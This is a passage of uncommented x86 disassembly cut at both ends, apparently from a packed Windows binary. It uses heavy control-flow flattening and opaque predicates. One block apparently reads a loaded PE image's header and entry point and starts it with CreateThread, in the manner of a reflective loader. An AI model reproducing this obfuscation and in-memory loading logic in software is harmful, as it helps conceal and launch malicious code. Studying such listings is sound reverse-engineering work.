and cl, ch
xor ah, dl
xor al, 1
or al, ah
mov ah, cl
xor ah, 1
mov dl, ah
mov ch, ah
and dl, cl
xor ch, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ch
mov ecx, edx
and dl, al
xor al, 1
xor cl, 1
and cl, al
or al, ah
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xbcd8b9c4
cmovne ecx, esi
test al, 1
mov eax, 0xbcd8b9c4
jmp 0x4011f2
cmp eax, 0xacb81fe4
jg 0x405bd0
cmp eax, 0xaa37a845
je 0x40acbc
cmp eax, 0xabcbb7a3
je 0x40ad7a
cmp eax, 0xac7f63ec
jne 0x401200
mov eax, 0x606c5a62
jmp 0x401200
cmp eax, 0x6db13f8f
jg 0x405da6
cmp eax, 0x6c7e12b0
je 0x40ad93
cmp eax, 0x6cd6e161
je 0x40af81
cmp eax, 0x6d12636b
jne 0x401200
mov eax, dword [ebp - 0x1d4]
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x15409199
mov esi, ecx
and esi, 0xeabf6e66
or ecx, 0x11a08854
or edx, esi
and ecx, 0x93bee9dc
mov esi, edx
xor edx, 0xa00844
xor esi, 0x400000
or edx, 0x821e6188
and esi, 0x20410600
and edx, 0x93bee9dc
or esi, edx
mov edx, eax
and edx, 0x4c001023
or edx, ecx
xor edx, esi
mov ecx, edx
not ecx
and edx, 0x31e181ab
and ecx, 0xce1e7e54
or edx, ecx
mov ecx, edx
not ecx
and edx, eax
andn esi, eax, ecx
mov eax, dword [ebp - 0x1d0]
or edx, esi
xor ecx, edx
and ecx, edx
mov edx, dword [eax + ecx]
add edx, dword [ebp - 0x1cc]
mov dword [eax + ecx], edx
mov eax, 0x74b751b6
jmp 0x401200
cmp eax, 0xedf52ff9
jg 0x405dd1
cmp eax, 0xec8f107d
je 0x40b0fd
cmp eax, 0xece655b7
je 0x40b15a
cmp eax, 0xed3b5218
jne 0x401200
cmp byte [ebp - 0xaa], 0
mov eax, 0xbce01d5f
mov ecx, 0x45259124
cmovne eax, ecx
jmp 0x401200
cmp eax, 0x26938869
jg 0x405dff
cmp eax, 0x25124bcb
je 0x40b2ea
cmp eax, 0x25df2b1d
je 0x40b2f4
cmp eax, 0x262ce25d
jne 0x401200
mov eax, 0xd022f60f
jmp 0x401200
cmp eax, 0x9a9b58a4
jg 0x405f06
cmp eax, 0x98554336
je 0x40b661
cmp eax, 0x994085b0
je 0x40b73c
cmp eax, 0x99b2ef82
jne 0x401200
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x34]
mov eax, 0x6316b490
jmp 0x401200
cmp eax, 0x5b9c1ef5
jg 0x406012
cmp eax, 0x59f7c174
je 0x40b75f
cmp eax, 0x5a51f6ca
je 0x40b831
cmp eax, 0x5b1f6451
jne 0x401200
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x174]
mov dword [eax], ecx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov dword [eax], 0
mov eax, 0x3098af10
jmp 0x401200
cmp eax, 0xdebb37ff
jg 0x4060fd
cmp eax, 0xdd9418d0
je 0x40b846
cmp eax, 0xde0b2bad
je 0x40b98f
cmp eax, 0xde625afb
jne 0x401200
mov eax, 0x66d78b36
jmp 0x401200
cmp eax, 0x3f05baea
jg 0x4061db
cmp eax, 0x3e52810d
je 0x40ba67
cmp eax, 0x3ebee161
je 0x40bbb5
cmp eax, 0x3ec837d8
jne 0x401200
mov eax, 0x29e2cfe2
jmp 0x401200
cmp eax, 0xbe085f38
jg 0x406329
cmp eax, 0xbce01d5f
je 0x40bbbf
cmp eax, 0xbd666eb0
je 0x40bce0
cmp eax, 0xbd9fdc8f
jne 0x401200
mov eax, 0xd72a50dd
jmp 0x401200
cmp eax, 0x78fffe39
je 0x40bd97
cmp eax, 0x7908750b
je 0x40bdad
cmp eax, 0x7a753054
jne 0x401200
mov eax, 0xe8dc9acc
jmp 0x401200
cmp eax, 0x1968be0
je 0x40c9ee
cmp eax, 0x19c111d
je 0x40c9f8
cmp eax, 0x247fc53
jne 0x401200
mov eax, 0x3e52810d
jmp 0x401200
cmp eax, 0xa50840d
je 0x40ca02
cmp eax, 0xc2b8133
je 0x40ca1b
cmp eax, 0xc637503
jne 0x401200
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x14c]
mov dword [eax], ecx
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x433f6508
and eax, 0xbcc09af7
or eax, ecx
mov ecx, eax
xor ecx, 0x433f6508
xor eax, 0xbcc09af7
mov edx, ecx
or edx, 0x4070240d
mov esi, eax
or esi, 0x8c84d100
mov edi, eax
and edi, 0x2090092
and edx, 0xccf4f50d
and esi, 0xccf4f50d
or edi, edx
mov edx, ecx
and edx, 0x31020a60
and ecx, 0xff0df80
or edx, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0x8e8dd193
and esi, 0x71722e6c
or edx, esi
mov esi, eax
and esi, 0xf00f207f
and eax, 1
or esi, ecx
mov ecx, esi
xor ecx, 0x5a09401
xor esi, 0x30050018
or eax, ecx
mov ecx, edx
and esi, 0x3a554b98
not ecx
and edx, 0x7ed7f89b
and eax, 0xc5aab467
or eax, esi
mov esi, ecx
and esi, 0x81280764
or edx, esi
mov esi, eax
xor esi, 0x4482b003
xor eax, 0x3a554b98
or ecx, eax
and eax, 0x81280764
and esi, 0x7ed7f89b
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov eax, ecx
not eax
mov esi, ecx
or esi, 0x44941630
and ecx, 0xaa424005
mov edx, eax
or edx, 0x218840
and esi, 0x44b59e70
and eax, 0x1108218a
and edx, 0x44b59e70
or eax, esi
mov esi, 0x5a51f6ca
or ecx, edx
xor ecx, eax
mov eax, ecx
not eax
and ecx, 0x1129a9ca
and eax, 0xeed65635
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xca2078e
mov edx, eax
and edx, 0xf35df871
or ecx, edx
xor ecx, 0xca2078e
or ecx, eax
cmp ecx, 0xffffffff
sete cl
cmp dword [0x48f780], 0xa
setge al
setl dl
xor al, cl
and dl, cl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x2b79a9b3
cmovne edx, esi
test al, al
mov eax, 0x2b79a9b3
jmp 0x410365
cmp eax, 0x83a7377d
je 0x40ca41
cmp eax, 0x842e3785
je 0x40ca4b
cmp eax, 0x84390256
jne 0x401200
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
inc eax
mov dword [ecx], eax
mov eax, 0x511b67b6
jmp 0x401200
cmp eax, 0x44eff42f
je 0x40cb26
cmp eax, 0x4517d54a
je 0x40cbec
cmp eax, 0x451d255d
jne 0x401200
mov eax, 0x8e4b4fe2
jmp 0x401200
cmp eax, 0xc86ae677
je 0x40cbff
cmp eax, 0xc8a28590
je 0x40cd56
cmp eax, 0xc8a807ef
jne 0x401200
mov eax, dword [ebp - 0x24]
mov eax, 0x9bbe67af
jmp 0x401200
cmp eax, 0x2b79a9b3
je 0x40cd60
cmp eax, 0x2c1643ea
je 0x40cd6a
cmp eax, 0x2c27e336
jne 0x401200
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xb3b9e4c9
not eax
mov esi, eax
and edx, ecx
and esi, 0xb3b9e4c9
and ecx, 0x66403fcb
and eax, 0x99bfc034
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x76cbb15e
and esi, 0x89344ea1
or edx, esi
mov esi, edx
xor esi, 0x81324014
xor edx, 0x3a8daa69
mov edi, edx
and edi, 0x66403fcb
and esi, 0x99bfc034
or esi, edi
xor eax, esi
mov esi, 0xb0abf14e
not eax
or eax, edx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x48f780], 0xa
mov ecx, edx
setl ch
setge al
and dl, ch
and cl, al
and ch, ah
or ch, cl
mov cl, ch
xor cl, al
and al, ah
and cl, ch
or al, dl
mov edx, ecx
mov ch, cl
xor dl, 1
and dl, al
xor al, 1
xor ch, al
and al, cl
or al, dl
and ch, cl
mov edx, 0x4ebe0307
mov cl, al
xor cl, ch
test al, al
mov eax, 0x4ebe0307
cmovne eax, esi
test ch, ch
jmp 0x409a9e
cmp eax, 0xa4d986e5
je 0x40cf31
cmp eax, 0xa4e60f6b
je 0x40d058
cmp eax, 0xa5e4f6c5
jne 0x401200
mov eax, 0xe04d5136
jmp 0x401200
cmp eax, 0x6663fa66
je 0x40d087
cmp eax, 0x66a73344
je 0x40d170
cmp eax, 0x66d78b36
jne 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x1c2085
mov esi, edx
and esi, 0x8483cb20
and edx, 0xbe1cf51b
or ecx, esi
mov esi, ecx
xor esi, 0x1c0085
xor ecx, 0xffe3df7a
mov edi, ecx
and edi, 0x40617b08
and esi, 0x849e80a5
or esi, edi
mov edi, eax
xor edi, 0x849feba5
and edi, eax
and eax, 0x41e30ae4
mov ebx, edi
not ebx
and edi, 0xbf9e84f7
or eax, edx
or ecx, ebx
and ebx, 0x40617b08
mov edx, eax
xor edx, 0x41e30ae4
xor eax, 0xbe1cf51b
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov esi, ecx
not esi
and ecx, 0x849feba4
and esi, 0x7b60145b
or ecx, esi
mov esi, 0xde625afb
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
setne dl
sete al
cmp dword [0x48f780], 0xa
setl ah
mov cl, ah
or dl, ah
or cl, al
xor al, ah
xor dl, 1
xor cl, 1
or cl, al
and al, ah
or al, dl
mov edx, ecx
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xe6676f94
cmovne ecx, esi
test al, al
mov esi, 0xe6676f94
jmp 0x40f48a
cmp eax, 0xe8dc9acc
je 0x40d18b
cmp eax, 0xe966db65
je 0x40d1cd
cmp eax, 0xea0ee54a
jne 0x401200
cmp byte [ebp - 0xa9], 0
mov eax, 0x4517d54a
mov ecx, 0xa50840d
cmovne eax, ecx
jmp 0x401200
cmp eax, 0x21aa513f
je 0x40d358
cmp eax, 0x21b74673
je 0x40d45e
cmp eax, 0x2235058d
jne 0x401200
mov eax, 0xe04d5136
jmp 0x401200
cmp eax, 0x932a7ea1
je 0x40d47c
cmp eax, 0x93bef1fe
je 0x40d48f
cmp eax, 0x94328cb1
jne 0x401200
mov eax, dword [ebp - 0x38]
mov dword [eax], 1
mov eax, 0x434bb065
jmp 0x401200
cmp eax, 0x53a8a519
je 0x40d499
cmp eax, 0x54b56e58
je 0x40d4bc
cmp eax, 0x55040a84
jne 0x401200
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x1e4], eax
mov eax, 0x4735772e
jmp 0x401200
cmp eax, 0xd72a50dd
je 0x40d4d7
cmp eax, 0xd7b8c871
je 0x40d516
cmp eax, 0xd7c7400c
jne 0x401200
mov eax, 0xa05f6f6
jmp 0x401200
cmp eax, 0x38f74d19
je 0x40d6a7
cmp eax, 0x3a4dc78c
je 0x40d789
cmp eax, 0x3aca371e
jne 0x401200
mov eax, dword [ebp - 0x21c]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0x218]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xf0]
mov dword [ecx], eax
mov ecx, 0x34b87ce0
mov eax, dword [ebp - 0x84]
cmp byte [eax], 0
mov eax, 0x43550f2c
cmove eax, ecx
jmp 0x401200
cmp eax, 0xb6644d1a
je 0x40d793
cmp eax, 0xb7690ec8
je 0x40d879
cmp eax, 0xb845a8d7
jne 0x401200
mov eax, 0x813eaecf
jmp 0x401200
cmp eax, 0x74b751b6
je 0x40d957
cmp eax, 0x74d01e81
je 0x40d961
cmp eax, 0x74d687b2
jne 0x401200
mov eax, 0x7272aa94
jmp 0x401200
cmp eax, 0xf727ac70
je 0x40d971
cmp eax, 0xf9247d6a
je 0x40da7b
cmp eax, 0xf99d3748
jne 0x401200
mov eax, dword [ebp - 0x38]
mov dword [eax], 0
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
mov edx, ecx
and edx, 0x46ad0be
and eax, ecx
not ecx
mov esi, ecx
and esi, 0xfb952f40
or edx, esi
mov esi, 0x160ae0d0
xor edx, 0x46ad0be
or eax, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x28e77cbe
and ecx, 0xd7188341
or eax, ecx
xor eax, 0x28e77cbe
setne ah
sete cl
cmp dword [0x48f780], 0xa
setge al
setl dl
mov ch, al
or al, ah
xor cl, dl
xor dl, ah
xor ch, ah
xor al, 1
mov ah, dl
or al, ch
xor ah, al
or al, dl
xor al, 1
or al, ah
mov ah, cl
mov edx, eax
and ah, al
xor dl, 1
mov ch, dl
or dl, cl
xor cl, 1
xor al, cl
xor dl, 1
and ch, cl
or dl, al
or ah, ch
mov ecx, 0x27dc1ef0
mov al, dl
xor al, ah
test dl, 1
cmovne ecx, esi
test ah, ah
cmove ecx, esi
test al, 1
mov eax, 0x27dc1ef0
jmp 0x411184
cmp eax, 0x136e0e39
je 0x40db8f
cmp eax, 0x148752f0
je 0x40db99
cmp eax, 0x14e07428
jne 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x3000a0
and eax, 0xe8723b48
mov edx, ecx
and edx, 0xcb00f050
mov edi, ecx
or edi, 0xcb30f0f0
and ecx, 0x178dc4b7
or esi, edx
mov edx, edi
not edx
or eax, ecx
and edi, 0x34cf0f0e
xor esi, 0x3000a0
mov ecx, eax
xor ecx, 0xe8723b48
xor eax, 0x178dc4b7
or edx, esi
mov esi, 0x6c7e12b0
and edx, 0xcb30f0f1
or edx, edi
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
not eax
or eax, edx
cmp eax, 0xffffffff
setne al
cmp dword [0x48f780], 0xa
mov edx, eax
setge cl
or dl, cl
xor al, cl
mov ecx, eax
and al, dl
xor dl, 1
xor cl, 1
mov ah, dl
xor ah, cl
and cl, dl
and ah, dl
or cl, al
mov edx, 0x3710b4a1
mov al, ah
xor al, cl
cmovne edx, esi
test cl, cl
mov ecx, edx
cmovne ecx, esi
test ah, ah
cmove ecx, edx
mov eax, ecx
jmp 0x401200
cmp eax, 0x8b10c7c8
je 0x40dc58
cmp eax, 0x8b1e4c31
je 0x40ddb0
cmp eax, 0x8d1373a7
jne 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xc4f9776c
mov edx, ecx
and edx, 0x3b068892
and ecx, 0xb71b8d63
or esi, edx
mov edx, eax
xor edx, 0xfffffffe
and edx, eax
and eax, 0x48e4729c
xor esi, 0xc4f9776c
or eax, ecx
or edx, esi
mov esi, 0x93bef1fe
mov ecx, eax
xor ecx, 0x48e4729c
xor eax, 0xb71b8d63
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
xor edx, eax
test edx, eax
sete ah
setne dh
cmp dword [0x48f780], 0xa
mov cl, ah
setl dl
setge al
mov ch, dl
and cl, al
or al, ah
and ch, dh
or dh, dl
or dl, ah
mov bl, dh
or cl, ch
xor bl, al
or al, dh
xor cl, 1
mov ah, cl
xor al, 1
or cl, dl
or al, bl
xor ah, dl
xor cl, 1
xor al, 1
or cl, ah
mov edx, eax
or al, cl
xor dl, cl
mov ebx, eax
xor bl, dl
test al, 1
mov eax, 0xc634ba02
cmovne eax, esi
test dl, 1
mov edx, 0xc634ba02
cmove eax, esi
test bl, 1
cmove eax, edx
jmp 0x401200
cmp eax, 0x4e0b0d13
je 0x40ddde
cmp eax, 0x4e20449b
je 0x40dde8
cmp eax, 0x4ebe0307
jne 0x401200
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov eax, 0xb0abf14e
jmp 0x401200
cmp eax, 0xcdcb8fb7
je 0x40decb
cmp eax, 0xcdf7ca60
je 0x40e00f
cmp eax, 0xcf09b9ab
jne 0x401200
mov eax, 0x7c00334d
jmp 0x401200
cmp eax, 0x3258627b
je 0x40e0fb
cmp eax, 0x32d1ad49
je 0x40e10e
cmp eax, 0x32ea2a16
jne 0x401200
cmp byte [ebp - 0xab], 0
mov eax, 0xc035a33f
mov ecx, 0xb518f60e
cmovne eax, ecx
jmp 0x401200
cmp eax, 0xb0af1ba6
je 0x40e283
cmp eax, 0xb212ac40
je 0x40e323
cmp eax, 0xb21be2b1
jne 0x401200
mov eax, 0x5cc111dc
jmp 0x401200
cmp eax, 0x6fd00171
je 0x40e674
cmp eax, 0x7039605c
je 0x40e67e
cmp eax, 0x70859fb3
jne 0x401200
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x108], eax
mov eax, 0x1f1323e1
jmp 0x401200
cmp eax, 0xf00bca27
je 0x40e786
cmp eax, 0xf06a92b7
je 0x40e790
cmp eax, 0xf0f74a94
jne 0x401200
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
mov eax, 0xff1e53e
jmp 0x401200
cmp eax, 0x2787d632
je 0x40110c
cmp eax, 0x27b68544
je 0x40e79a
cmp eax, 0x27dc1ef0
jne 0x401200
mov eax, 0x4e0b0d13
jmp 0x401200
cmp eax, 0x9bfd93ae
je 0x40e7ad
cmp eax, 0x9c7bc6f4
je 0x40e7c6
cmp eax, 0x9ce4fe3f
jne 0x401200
mov eax, 0x2787d632
jmp 0x401200
cmp eax, 0x5d03bfc3
je 0x40e8f0
cmp eax, 0x5d4a459f
je 0x40e914
cmp eax, 0x5ddd1b27
jne 0x401200
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x184], eax
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x506012a
mov esi, eax
mov edi, eax
or esi, 0xa801e200
and edx, 0xad07e32a
and edi, 0x10d000d5
and eax, 0x9f5ba382
or edi, edx
mov edx, ecx
and esi, 0xad07e32a
and edx, 0x42281c00
and ecx, 0x60a45c7d
or edx, esi
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0xb8d1e2d4
and esi, 0x472e1d2b
or edx, esi
mov esi, edx
not esi
and edx, 0x9f5ba382
mov edi, esi
and edi, 0x60a45c7d
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x8fc7001b
setne cl
sete ah
cmp dword [0x48f780], 0xa
setge dl
mov al, dl
or cl, dl
xor al, ah
or ah, dl
not al
and al, dl
mov edx, ecx
xor al, 1
xor dl, 1
mov ch, al
or al, ah
xor ch, ah
xor al, 1
or al, ch
mov ah, al
and al, cl
xor ah, 1
and dl, ah
or ah, cl
or al, dl
mov cl, ah
mov edx, 0x451d255d
xor cl, al
test ah, 1
cmovne edx, esi
test al, al
not cl
mov eax, 0x451d255d
cmove edx, esi
test cl, 1
cmovne edx, eax
mov eax, edx
jmp 0x401200
cmp eax, 0xe04d5136
je 0x40e9ff
cmp eax, 0xe085a271
je 0x40eac5
cmp eax, 0xe0c73e8d
jne 0x401200
mov eax, 0xbf85603e
jmp 0x401200
cmp eax, 0x40cedc10
je 0x40ec4a
cmp eax, 0x410b9d71
je 0x40ed3b
cmp eax, 0x41825f5b
jne 0x401200
mov eax, dword [ebp - 0x108]
mov eax, dword [ebp - 0x108]
mov eax, 0x31d07d5b
jmp 0x401200
cmp eax, 0xbf7f05dd
je 0x40ed51
cmp eax, 0xbf85603e
je 0x40ee3b
cmp eax, 0xbf93683e
jne 0x401200
mov dword [ebp - 0x11c], 0
mov eax, 0xcbb4b09a
jmp 0x401200
cmp eax, 0x7c00334d
je 0x40ef55
cmp eax, 0x7c385c17
je 0x40ef67
cmp eax, 0x7c4be7c0
jne 0x401200
mov eax, dword [ebp - 0x1c]
mov ecx, dword [0x48f784]
mov eax, dword [eax]
mov dword [ebp - 0x1b0], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x6fef326b
and ecx, 0x9010cd94
or eax, ecx
mov ecx, eax
xor ecx, 0x27c7306b
xor eax, 0x10100104
and eax, 0x58380304
and ecx, 0xa7c7fcfb
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0x180c0ab
xor eax, 0x58380304
xor edx, 0x58380305
and edx, eax
and ecx, 0x51b8c3ab
and eax, 0xae473c54
or eax, ecx
xor eax, 0xae473c55
or eax, edx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0xd9cae0f9
and eax, 0x26351f06
or ecx, eax
mov eax, ecx
xor eax, 0xc80a8060
xor ecx, 0x26351f06
mov esi, ecx
and esi, 0x13e06c9b
and eax, 0xec1f9364
or eax, esi
mov esi, edx
not esi
and edx, 0xec1f9364
or ecx, esi
and esi, 0x13e06c9b
or edx, esi
not ecx
mov esi, 0xa2c32e91
xor edx, eax
or ecx, edx
sete ah
setne ch
cmp dword [0x48f780], 0xa
mov dh, ah
setl al
setge dl
mov cl, al
or dh, dl
and dl, ah
or cl, ch
and ch, al
or al, ah
mov ebx, ecx
or cl, dh
or dl, ch
xor al, 1
xor bl, dh
xor cl, 1
or al, dl
or cl, bl
mov ah, cl
mov edx, ecx
and ah, al
xor al, 1
xor dl, 1
and dl, al
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xac7f63ec
cmovne ecx, esi
test al, 1
mov eax, 0xac7f63ec
jmp 0x4011f2
cmp eax, 0xfd02ffc5
je 0x40ef8e
cmp eax, 0xfd2ae232
je 0x40ef98
cmp eax, 0xfdb2d433
jne 0x401200
mov eax, 0x274aecf3
jmp 0x401200
cmp eax, 0x9a81e65
je 0x40efa8
cmp eax, 0x9ef97a3
je 0x40efc1
cmp eax, 0xa05f6f6
jne 0x401200
mov eax, dword [ebp - 0x44]
mov eax, 0x374b0497
jmp 0x401200
cmp eax, 0x82d23ad7
je 0x40efcb
cmp eax, 0x838b5000
je 0x40f166
cmp eax, 0x83988e7b
jne 0x401200
mov eax, dword [ebp - 0x24]
mov eax, 0xb5ae0158
jmp 0x401200
cmp eax, 0x43ece334
je 0x40f17f
cmp eax, 0x4439b932
je 0x40f18c
cmp eax, 0x44eda378
jne 0x401200
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x54]
mov eax, 0xc2f49924
jmp 0x401200
cmp eax, 0xc5ba9349
je 0x40f2e1
cmp eax, 0xc634ba02
je 0x40f2fa
cmp eax, 0xc7be2f0c
jne 0x401200
mov eax, dword [ebp - 0xd0]
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x1403609
mov ecx, edx
and ecx, 0x10000142
and edx, 0xe0c22742
or esi, ecx
mov ecx, eax
xor ecx, 0x1140374b
and ecx, eax
xor esi, 0x1403609
and eax, 0x1f3dd8bd
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0xc5272c71
mov edx, eax
xor edx, 0x1f3dd8bd
xor eax, 0xe0c22742
and esi, 0x3ad8d38e
or ecx, esi
mov esi, ecx
xor esi, 0xd4671b3b
xor ecx, 0x2b98e4c4
and eax, esi
and edx, ecx
mov esi, 0x64611af5
or eax, edx
not eax
or eax, ecx
cmp eax, 0xffffffff
sete cl
cmp dword [0x48f780], 0xa
setge dl
setl al
mov ah, dl
or al, cl
xor ah, cl
or cl, dl
mov ch, ah
xor cl, 1
xor ch, al
or al, ah
not ah
and ah, dl
xor al, 1
mov edx, 0xde0b2bad
or ah, cl
or al, ch
xor ah, 1
mov cl, ah
or ah, al
xor cl, al
mov al, ah
xor al, cl
test al, 1
cmovne edx, esi
test ah, ah
mov eax, 0xde0b2bad
jmp 0x410365
cmp eax, 0x2aac22e7
je 0x40f304
cmp eax, 0x2ad7304d
je 0x40f3fb
cmp eax, 0x2ae2357c
jne 0x401200
mov eax, 0x5ce933c7
jmp 0x401200
cmp eax, 0xa3088831
je 0x40f414
cmp eax, 0xa43c5f6b
je 0x40f499
cmp eax, 0xa4d0cb53
jne 0x401200
mov eax, dword [0x48f784]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x164f53f3
mov eax, edx
and eax, 0x708201b5
andn esi, edx, ecx
not edx
and edx, 0x8f7dfe4a
or edx, eax
mov ecx, edx
mov edi, edx
xor ecx, 0x8f7dfe4a
xor edi, 0x9932adb9
xor edx, 0x70800120
and edi, ecx
and edx, 0xfc84596a
mov eax, edi
not eax
and edi, 0xf885007
mov ebx, eax
and ebx, 0xf077aff8
or edi, ebx
mov ebx, esi
not ebx
and esi, 0xf885007
or eax, ebx
and ebx, 0xf077aff8
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov esi, eax
not esi
and eax, 0x3d724067
and esi, 0xc28dbf98
or eax, esi
mov esi, ecx
and esi, 0x37ba695
and ecx, 1
or esi, edx
mov edx, eax
xor edx, 0xd4c2e828
xor eax, 0x2b3d1395
xor esi, 0xfc84596b
and edx, 0xfec6f83d
or ecx, esi
mov esi, eax
and esi, 0x13907c2
or edx, esi
mov esi, ecx
not esi
or eax, ecx
and ecx, 0x13907c2
and esi, 0xfec6f83d
not eax
or esi, ecx
xor esi, edx
or eax, esi
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0xedab89f0
and eax, 0x1254760f
or ecx, eax
mov eax, ecx
xor eax, 0x6c0a0810
xor ecx, 0x1254760f
mov esi, ecx
and esi, 0x93f183e4
and eax, 0x6c0e7c1b
or eax, esi
mov esi, edx
not esi
and edx, 0x6c0e7c1b
or ecx, esi
and esi, 0x93f183e4
or edx, esi
not ecx
mov esi, 0xda9149e
xor edx, eax
or ecx, edx
setne dl
sete al
cmp dword [0x48f780], 0xa
mov ecx, edx
setl ah
setge ch
mov dh, ah
and cl, ch
xor dl, ch
and dh, al
and dl, al
xor al, ah
or dh, cl
and al, ah
mov cl, dh
or al, dl
xor cl, ch
mov ah, al
and cl, dh
mov ch, cl
mov edx, ecx
xor ch, 1
and dl, ch
xor ah, ch
xor dl, 1
xor ah, 1
or dl, ch
xor dl, 1
or dl, cl
xor dl, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x4c7b390f
cmovne ecx, esi
test al, 1
mov eax, 0x4c7b390f
jmp 0x4011f2
cmp eax, 0x6538524a
je 0x40f4a3
cmp eax, 0x65587331
je 0x40f4ad
cmp eax, 0x65ab8d91
jne 0x401200
mov eax, 0xdebb3800
jmp 0x401200
cmp eax, 0xe67fcf11
je 0x40f4ca
cmp eax, 0xe6da5c3d
je 0x40f4e5
cmp eax, 0xe8a0f8bb
jne 0x401200
mov eax, dword [ebp - 0xc0]
mov ecx, dword [0x48f784]
mov eax, dword [eax]
mov dword [ebp - 0x134], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x74c0012
mov esi, ecx
and esi, 0xa000bc40
and ecx, 0x82264e34
or edx, esi
mov esi, edx
xor esi, 0x5040012
xor edx, 0xf8b3ffed
mov edi, edx
and edi, 0x8a48ed01
and esi, 0x25041052
or esi, edi
mov edi, eax
xor edi, 0xa74cbc52
and edi, eax
and eax, 0x7dd9b1cb
mov ebx, edi
not ebx
and edi, 0x75b712fe
or eax, ecx
or edx, ebx
and ebx, 0x8a48ed01
xor eax, 0x7dd9b1cb
or edi, ebx
not edx
xor edi, esi
or edx, edi
mov edi, 0x237fdb93
mov esi, edx
not esi
and edx, 0x13821805
and esi, 0xec7de7fa
or edx, esi
mov esi, edx
xor esi, 0xa4caa412
xor edx, 0x8015221
and edx, 0x18055265
and esi, 0xe7faad9a
or esi, edx
xor esi, 0xe7faad9a
or eax, esi
mov esi, 0xfd2ae232
mov ecx, eax
not ecx
and eax, 0xdb7c7a48
and ecx, 0x248385b7
or eax, ecx
xor eax, 0xdb7c7a48
sete cl
setne ah
cmp dword [0x48f780], 0xa
setge al
setl dl
and ah, dl
and al, cl
or dl, cl
or al, ah
mov ecx, eax
xor cl, 1
mov ah, cl
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
mov ch, dl
xor ah, 1
and ah, dl
xor ah, 1
xor ch, ah
or ah, dl
mov edx, eax
xor ah, 1
or ah, ch
mov ch, ah
and ah, cl
xor ch, 1
xor dl, ch
and ch, al
and dl, al
or ch, ah
mov eax, edx
xor al, ch
test al, 1
cmovne esi, edi
test ch, ch
mov eax, esi
cmovne eax, edi
jmp 0x40bbab
cmp eax, 0x2103e023
je 0x40f64d
cmp eax, 0x2140aae8
je 0x40f7b7
cmp eax, 0x21a3055b
jne 0x401200
